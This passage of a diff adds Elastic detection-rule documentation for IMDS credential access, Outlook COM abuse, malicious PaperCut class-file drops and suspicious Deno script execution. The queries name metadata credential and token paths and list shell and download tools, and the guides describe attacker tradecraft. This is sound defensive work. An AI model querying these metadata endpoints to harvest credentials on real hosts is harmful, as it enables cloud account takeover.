https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-instance-metadata-service-imds-api-command-line-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-instance-metadata-service-imds-api-command-line-execution.asciidoc new file mode 100644 index 0000000000..b8e3ca25b4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-instance-metadata-service-imds-api-command-line-execution.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-suspicious-instance-metadata-service-imds-api-command-line-execution]] +=== Suspicious Instance Metadata Service (IMDS) API Command Line Execution + +This rule identifies various tools/scripts performing command line execution attempting to access the cloud service provider's instance metadata service (IMDS) API endpoint, which can be used to retrieve sensitive instance-specific information such as instance ID, public IP address, and even temporary security credentials if roles are assumed by that instance. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ +* https://www.wiz.io/blog/imds-anomaly-hunting-zero-day + +*Tags*: + +* Domain: Endpoint +* Domain: Cloud +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: IMDS Credential Theft +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Instance Metadata Service (IMDS) API Command Line Execution* + + +This rule detects command-line tools, shells, or scripts attempting to query a cloud instance metadata endpoint from a host, which matters because that service can reveal instance details and temporary credentials attached to the workload. A common attacker pattern is gaining code execution on a cloud VM and using curl against the local metadata address to pull IAM role credentials or managed identity tokens, then reusing them to access cloud resources without passwords. + + +*Possible investigation steps* + + +- Review the full execution chain and any referenced script or binary contents to determine whether the metadata request came from approved bootstrap or agent activity versus an interactive shell, web application process, scheduled job, or recently dropped file. +- Identify the initiating account, session context, and trigger for the execution to separate expected automation from hands-on-keyboard behavior, especially if it followed a remote login, privilege escalation, or exploitation event. +- Correlate the host and timeframe with cloud control-plane telemetry to confirm whether instance role credentials or managed identity tokens were later used against storage, secrets, IAM, subscription, or other sensitive APIs. +- Examine nearby endpoint activity for follow-on collection and staging behavior such as writing token output to disk, exporting environment data, invoking cloud CLIs or SDKs, compressing files, or making outbound connections to unfamiliar destinations. +- Validate with the asset owner whether the workload legitimately requires IMDS access, and if the activity is unexplained, contain the host and rotate any exposed instance profile or managed identity credentials. + + +*False positive analysis* + + +- A VM bootstrap, login, or scheduled maintenance script may use curl, wget, or a shell to query IMDS for role credentials or identity tokens needed by the workload; verify the parent process, script path, and change timing with the asset owner to confirm it matches approved initialization or routine automation. +- An administrator or developer may manually test instance identity or application authentication from the command line during troubleshooting or deployment; verify the initiating user, interactive session context, and related change records to confirm the host and command were part of authorized maintenance. + + +*Response and remediation* + + +- Isolate the affected host or cloud instance from the network, preserve volatile evidence per your IR process, and immediately revoke or rotate any instance profile credentials, managed identity tokens, or application secrets that could have been exposed by access to the metadata service. +- Remove the attacker foothold by deleting the script or binary that queried `169.254.169.254`, `metadata.google.internal`, or the Azure identity token path, and eradicate related persistence such as scheduled tasks, cron entries, systemd services, startup items, Run keys, or web shells that launched it. +- Terminate any active shell, interpreter, or cloud CLI sessions tied to the intrusion and review cloud activity for the retrieved credentials being used against storage, secrets, IAM, subscriptions, or other sensitive services, disabling the affected role or identity if abuse is confirmed. +- Restore the workload to a known-good state by rebuilding or reimaging from a trusted template, redeploying only validated application code and configuration, and do not return the original system to production unless its integrity has been fully verified. +- Escalate to incident response immediately if the metadata query returned temporary credentials or OAuth tokens, if those credentials were used from another host or geography, or if multiple systems show similar command-line access to the metadata service. +- Harden the environment by requiring IMDSv2 or equivalent protections, limiting which users, services, or containers can reach the metadata endpoint, reducing attached role permissions to least privilege, and adding detections for future `curl`, `wget`, shell, or script access to instance metadata paths. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type in ("linux", "macos", "windows") and event.type == "start" and +event.action like ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started", "Process Create*") and +( + process.name in~ ( + "curl", "curl.exe", "wget", "wget.exe", "bash", "dash", "sh", "tcsh", "tclsh", "wish", + "csh", "zsh", "ksh", "fish", "mksh", "busybox", "powershell.exe", "cmd.exe", "pwsh.exe", "pwsh" + ) or + process.name like~ (".*", "python*", "perl*", "ruby*", "php*", "lua*", "java*") or + ?process.executable like~ ( + "/tmp/*", "/var/tmp/*", "/dev/shm/*", "/home/*/*", "/var/run/*", "/run/*", "/boot/*", "/.*", "C:\\Users\\*", + "?:\\ProgramData\\*", "/var/www/*", "./*" + ) +) and +process.args like~ ( + "*/latest/meta-data/iam/security-credentials/?*", + "*computeMetadata/v1/instance/service-accounts/*/oauth2/access_token*", + "*/metadata/identity/oauth2/token*resource=*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-instance-metadata-service-imds-api-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-instance-metadata-service-imds-api-request.asciidoc new file mode 100644 index 0000000000..e04bd83fa7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-instance-metadata-service-imds-api-request.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-suspicious-instance-metadata-service-imds-api-request]] +=== Suspicious Instance Metadata Service (IMDS) API Request + +This rule identifies various tools/scripts performing network activities attempting to access the cloud service provider's instance metadata service (IMDS) API endpoint, which can be used to retrieve sensitive instance-specific information such as instance ID, public IP address, and even temporary security credentials if roles are assumed by that instance. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.network-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ +* https://www.wiz.io/blog/imds-anomaly-hunting-zero-day + +*Tags*: + +* Domain: Endpoint +* Domain: Cloud +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: IMDS Credential Theft +* Rule Type: New Terms +* Platform: Windows +* Platform: Linux +* Platform: macOS + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Instance Metadata Service (IMDS) API Request* + + +This alert flags command interpreters, scripting engines, or unusual binaries on a host trying to contact the local instance metadata service, a high-value source of instance details and temporary cloud credentials. A common attacker pattern is gaining code execution on a Linux or Windows VM, then using curl, PowerShell, or a script dropped in a temporary directory to query 169.254.169.254 and harvest the attached role credentials for follow-on cloud access. + + +*Possible investigation steps* + + +- Review the full execution chain and any referenced script or binary contents to determine whether the metadata request came from approved bootstrap or agent activity versus an interactive shell, web application process, scheduled job, or recently dropped file. +- Identify the initiating account, session context, and trigger for the execution to separate expected automation from hands-on-keyboard behavior, especially if it followed a remote login, privilege escalation, or exploitation event. +- Correlate the host and timeframe with cloud control-plane telemetry to confirm whether instance role credentials or managed identity tokens were later used against storage, secrets, IAM, subscription, or other sensitive APIs. +- Examine nearby endpoint activity for follow-on collection and staging behavior such as writing token output to disk, exporting environment data, invoking cloud CLIs or SDKs, compressing files, or making outbound connections to unfamiliar destinations. +- Validate with the asset owner whether the workload legitimately requires IMDS access, and if the activity is unexplained, contain the host and rotate any exposed instance profile or managed identity credentials. + + +*False positive analysis* + + +- A legitimate bootstrap, login, or scheduled administration script may use curl, PowerShell, or Python to query 169.254.169.254 for instance ID, public IP, or temporary role credentials during normal configuration, so verify the command line, parent process, and execution timing match expected startup or maintenance activity from an approved path. +- An approved in-house application or service may call IMDS through a shell or runtime such as java, node, or python to obtain instance-specific settings or cloud authentication at runtime, so confirm the binary or script is expected on that host and that the requests align with normal service startup behavior rather than a new interactive session or a temporary-directory executable. + + +*Response and remediation* + + +- Isolate the affected instance or host from the network or move it to a containment security group, terminate active remote sessions, and preserve volatile evidence such as the running process tree, shell history, temporary scripts, and recent command output tied to the 169.254.169.254 request. +- Revoke or rotate any cloud role credentials, API keys, tokens, and application secrets that may have been exposed through IMDS, and detach or replace the instance profile or managed identity if it granted access beyond the workload’s normal needs. +- Remove the attacker’s foothold by deleting the script or binary that queried IMDS and eradicating associated persistence such as cron jobs, systemd services, rc.local changes, scheduled tasks, Run keys, WMI event subscriptions, launch agents, or modified shell startup files. +- Restore the system from a known-good image or snapshot when integrity is in doubt, validate that no unauthorized users, SSH keys, services, or startup items remain, and reset credentials for any local, domain, or service accounts used on the host. +- Escalate to incident response and cloud security immediately if IMDS returned temporary role credentials, if that role was used from unfamiliar IP addresses or regions, or if similar metadata queries are observed on multiple hosts, and expand scoping to all resources reachable by the compromised role. +- Harden the environment by enforcing IMDSv2 or the cloud provider’s strongest metadata protections, disabling metadata access where unnecessary, blocking local access to 169.254.169.254 for unapproved processes, reducing instance-role privileges, and preventing script execution from temporary or user-writable directories. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:"network" and host.os.type:("windows" or "macos" or "linux") and + (destination.ip:"169.254.169.254" or destination.address :"169.254.169.254") and destination.port:"80" and ( + process.name:( + "bash" or "dash" or "sh" or "tcsh" or "tclsh" or "wish" or "csh" or "zsh" or "ksh" or "fish" or + "mksh" or "busybox" or "ld.so" or "ld-linux-x86-64.so.2" or "bun" or "bun.exe" or "node" or "node.exe" or + "nodejs" or "deno" or "deno.exe" or "java" or "java.exe" or "env" or "timeout" or "setsid" or "flock" or + "curl" or "curl.exe" or "wget" or "wget.exe" or "powershell.exe" or "cmd.exe" or "pwsh.exe" or + "wscript.exe" or "cscript.exe" or "regsvr32.exe" or "mshta.exe" or "rundll32.exe" or "vbc.exe" or + "msbuild.exe" or "wmic.exe" or "cmstp.exe" or "RegAsm.exe" or "installutil.exe" or "RegSvcs.exe" or + "msxsl.exe" or "xwizard.exe" or "csc.exe" or "pwsh" or python* or perl* or ruby* or lua* or php* or + "terminal" or "osascript" or "nohup" or .* or "javaw" or "javaw.exe" + ) or + process.executable:( + ./* or /boot/* or /dev/shm/* or /run/* or /var/run/* or /tmp/* or /var/tmp/* or /var/www/* or + /home/*/* or /root/* or /private/var/tmp/* or /var/folders/* or /Users/Shared/* or /var/root/* + ) +) and +not ( + ( + host.os.type:"macos" and + process.name:"node" + ) or + ( + process.name:"Cursor Helper (Plugin)" and + process.code_signature.trusted:true and + process.code_signature.signing_id:"com.github.Electron.helper" + ) or + ( + process.name:"Code Helper (Plugin)" and + process.code_signature.trusted:true and + process.code_signature.signing_id:("com.microsoft.VSCode.helper" or "com.github.Electron.helper") + ) or + process.executable:/vscode/vscode-server/bin/linux-x64/*/node +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-inter-process-communication-via-outlook.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-inter-process-communication-via-outlook.asciidoc new file mode 100644 index 0000000000..e114fd1140 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-inter-process-communication-via-outlook.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-34-suspicious-inter-process-communication-via-outlook]] +=== Suspicious Inter-Process Communication via Outlook + +Detects Inter-Process Communication with Outlook via Component Object Model from an unusual process. Adversaries may target user email to collect sensitive information or send email on their behalf via API. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/master/apt29/Archive/CALDERA_DIY/evals/payloads/stepSeventeen_email.ps1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Collection +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 14 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Inter-Process Communication via Outlook* + + +Outlook's integration with the Component Object Model (COM) allows processes to automate tasks like sending emails. Adversaries exploit this by using unusual processes to interact with Outlook, potentially to exfiltrate data or send unauthorized emails. The detection rule identifies such anomalies by monitoring for unexpected processes initiating communication with Outlook, especially those lacking trusted signatures or recently modified, indicating potential malicious activity. + + +*Possible investigation steps* + + +- Review the process entity ID to identify the specific process that initiated communication with Outlook and determine if it is one of the unusual processes listed, such as rundll32.exe, mshta.exe, or powershell.exe. +- Check the code signature status of the initiating process. If the process is unsigned or has an untrusted signature, investigate the source and legitimacy of the executable. +- Analyze the relative file creation and modification times of the initiating process. If the process was created or modified recently (within 500 seconds), it may indicate a newly introduced or altered executable, warranting further scrutiny. +- Investigate the effective parent process of OUTLOOK.EXE to understand the context of how Outlook was launched. Determine if the parent process is expected or if it is an unusual or suspicious process. +- Correlate the alert with any recent user activity or changes on the host to identify potential user actions or system changes that could explain the process behavior. +- Examine any network activity associated with the initiating process to identify potential data exfiltration or unauthorized email sending attempts. +- Review any additional alerts or logs related to the host or user account to identify patterns or additional indicators of compromise. + + +*False positive analysis* + + +- Legitimate administrative scripts or tools may trigger the rule if they use processes like PowerShell or cmd.exe to automate tasks involving Outlook. To manage this, identify and whitelist these scripts or tools by their specific file paths or hashes. +- Software updates or installations might cause processes to appear as recently modified, leading to false positives. Regularly update the list of trusted software and exclude these known update processes from triggering alerts. +- Custom in-house applications that interact with Outlook for business purposes may be flagged. Ensure these applications are signed with a trusted certificate or add them to an exception list based on their unique identifiers. +- Security tools or monitoring software that perform regular checks on Outlook might be misidentified. Verify these tools and exclude them by their process names or signatures to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified in the alert, particularly those interacting with Outlook, such as rundll32.exe, mshta.exe, or powershell.exe. +- Conduct a thorough review of the email account associated with the affected Outlook process to identify any unauthorized access or email activity. Reset the account credentials if necessary. +- Analyze the process code signatures and file modification times to determine if any legitimate applications have been compromised. Reinstall or update these applications as needed. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring on the affected system and similar endpoints to detect any recurrence of the suspicious activity. +- Review and update endpoint protection policies to ensure that similar threats are detected and blocked in the future, leveraging the MITRE ATT&CK framework for guidance on email collection techniques. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=1m +[process where host.os.type == "windows" and event.action == "start" and + ( + process.name : ( + "rundll32.exe", "mshta.exe", "powershell.exe", "pwsh.exe", + "cmd.exe", "regsvr32.exe", "cscript.exe", "wscript.exe" + ) or + ( + (process.code_signature.trusted == false or process.code_signature.exists == false) and + (process.Ext.relative_file_creation_time <= 500 or process.Ext.relative_file_name_modify_time <= 500) + ) + ) and + not ( + process.executable : "?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" and + process.parent.executable : "?:\\Program Files (x86)\\CyberCNSAgent\\cybercnsagent.exe" and + user.id == "S-1-5-18" + ) +] by process.entity_id +[process where host.os.type == "windows" and event.action == "start" and process.name : "OUTLOOK.EXE" and + process.Ext.effective_parent.name != null] by process.Ext.effective_parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Email Collection +** ID: T1114 +** Reference URL: https://attack.mitre.org/techniques/T1114/ +* Sub-technique: +** Name: Local Email Collection +** ID: T1114.001 +** Reference URL: https://attack.mitre.org/techniques/T1114/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ +* Sub-technique: +** Name: Component Object Model +** ID: T1559.001 +** Reference URL: https://attack.mitre.org/techniques/T1559/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-java-class-file-created-in-papercut-server-library.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-java-class-file-created-in-papercut-server-library.asciidoc new file mode 100644 index 0000000000..70ee637dab --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-java-class-file-created-in-papercut-server-library.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-34-suspicious-java-class-file-created-in-papercut-server-library]] +=== Suspicious Java Class File Created in PaperCut Server Library + +Detects creation of Java .class files within the PaperCut NG/MF Application Server library directory. During active exploitation of CVE-2026-82078 (chained with CVE-2026-81578), attackers deliver hex-encoded malicious .class payloads into the PaperCut server/lib path (observed examples include Udydn.class and Moo97.class) so arbitrary bytecode executes inside the PaperCut JVM / Application Server process. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: critical + +*Risk score*: 99 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/ +* https://www.huntress.com/blog/papercut-actively-exploited + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Initial Access +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS +* Vuln: CVE-2026-81578 +* Vuln: CVE-2026-82078 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Java Class File Created in PaperCut Server Library* + + +PaperCut NG/MF loads database/driver-related classes from the Application Server classpath. CVE-2026-82078 allows unsafe +dynamic class loading when configuration can be manipulated (enabled by CVE-2026-81578 authentication bypass). Huntress +recovered attacker `.class` files written under `server\lib` (for example `Udydn.class`, `Moo97.class`) that decoded +commands, wrote output under `server\data\content`, then deleted staging files and often `server.log`. + + +*Possible investigation steps* + + +- Inspect `file.path`, `file.name`, `file.size`, and writing `process.executable`/`process.name`. Unexpected short or + random `.class` names under `server/lib` are high confidence. +- On the same host, look for companion artifacts under `server/data/content` (`.cmd`, `.out`) and for suspicious + `pc-app.exe` / Java child processes (shells, `whoami`, `tasklist`, `charmap.exe`). +- Review PaperCut `server/logs` for hex-encoded blobs, base64 command strings, `jdbc:derby:memory:pwn`, Derby boot paths + containing `\pwn`, or `ERROR No suitable driver found for jdbc:no:x`. Note missing/truncated `server.log` files. +- Confirm whether a PaperCut upgrade or emergency patch was running at `@timestamp`; legitimate upgrades also write + many `.class` files under `server/lib`. +- Scope other PaperCut servers for the same file names/paths and review internet exposure of the management interface. + + +*False positive analysis* + + +- PaperCut installation, upgrade, and emergency patch operations legitimately create `.class` files under `server/lib`. + Correlate with change tickets, installer process names, and volume of writes before treating as malicious. +- Exclude only tightly scoped upgrade processes/paths after validation; do not blanket-exclude the `server/lib` directory. + + +*Response and remediation* + + +- Restrict public access to the PaperCut Application Server immediately. +- Preserve `server/lib` `.class` files, `server/logs`, `server/data/content`, and process telemetry before cleanup or patch. +- Remove unauthorized `.class` payloads after evidence collection; apply PaperCut Emergency Patch Release 2 (or newer). +- Hunt for related child-process activity from `pc-app.exe` and rotate credentials if exploitation is confirmed. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type in ("windows", "linux", "macos") and + event.action in ("creation", "overwrite") and + file.extension : "class" and + file.path : ( + "?:\\Program Files\\PaperCut*\\server\\lib\\*", + "?:\\Program Files (x86)\\PaperCut*\\server\\lib\\*", + "/opt/papercut/server/lib/*", + "/usr/local/papercut/server/lib/*", + "/Applications/PaperCut*/server/lib/*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Reflective Code Loading +** ID: T1620 +** Reference URL: https://attack.mitre.org/techniques/T1620/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-javascript-execution-via-deno.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-javascript-execution-via-deno.asciidoc new file mode 100644 index 0000000000..d7b39b0152 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-javascript-execution-via-deno.asciidoc @@ -0,0 +1,194 @@ +[[prebuilt-rule-8-19-34-suspicious-javascript-execution-via-deno]] +=== Suspicious JavaScript Execution via Deno + +Detects execution of JavaScript via Deno with suspicious command-line patterns (base64, eval, http, or import in a javascript context). Adversaries may abuse Deno to run malicious JavaScript for execution or staging. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://reliaquest.com/blog/threat-spotlight-casting-a-wider-net-clickfix-deno-and-leaknets-scaling-threat +* https://deno.com/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Data Source: Windows Security Event Logs +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Script-Based Execution +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious JavaScript Execution via Deno* + + + +*Possible investigation steps* + + +- What execution mode and permission scope did Deno use? + - Focus: `process.command_line`: inline `eval(`, `data:application/javascript;base64`, remote `http` / `https`, inline JavaScript `import`, local `.js` / `.ts` targets, and broad `-A` or `--allow-*` flags. + - Implication: escalate faster when inline/base64 code or remote-code strings pair with broad permissions; lower concern only for a stable local task with narrow permissions. Treat `http` alone as unresolved until later evidence shows import, callback, or benign package retrieval. + +- Is the runtime the expected Deno binary and path? + - Focus: `process.executable`, `process.hash.sha256`, `process.pe.original_file_name`, `process.code_signature.subject_name`, and `process.code_signature.trusted` for `Deno Land Inc.`, portable copies, renamed binaries, or user-writable paths. + - Implication: escalate when identity, signer, path, or hash history suggests a renamed or opportunistic runtime; lower concern when signed path and hash history match a managed install. Runtime identity never clears suspicious arguments. + +- Does launch lineage fit development/build or social-engineered execution? + - Focus: `process.parent.executable`, `process.parent.command_line`, `user.id`, `host.name`, and child recovery; separate terminals, IDEs, and CI runners from VBS, PowerShell, MSI, browser, chat, or document launchers. + - Implication: escalate when Deno follows a script host, installer, browser, chat client, or document process on a non-developer endpoint; lower concern when user, host, parent, and command pattern match a recognized developer, build, or lab host. + +- Did Deno start follow-on processes? + - Focus: child events from `process.entity_id`; if absent, use `host.id`, `process.parent.pid`, and a tight alert window. Review child `process.executable`, `process.command_line`, and `process.hash.sha256`. !{investigate{"description":"","label":"Child process events from Deno","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when Deno spawns shells, downloaders, installers, schedulers, PsExec-like tools, `klist`, or other utilities; keep scope narrower when the tree ends at Deno and no suspicious child process appears. + +- Do DNS/network destinations fit the Deno command mode? + - Focus: DNS/network events for `process.entity_id`; if absent, use `host.id`, `process.pid`, and a tight alert window. Review `dns.question.name`, `dns.resolved_ip`, `destination.ip`, and `destination.port`. !{investigate{"description":"","label":"Network events from Deno","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: separate DNS lookups from connections, then map `dns.resolved_ip` to `destination.ip` before judging module source/callback fit. + - Implication: escalate when Deno reaches rare user/host domains, public 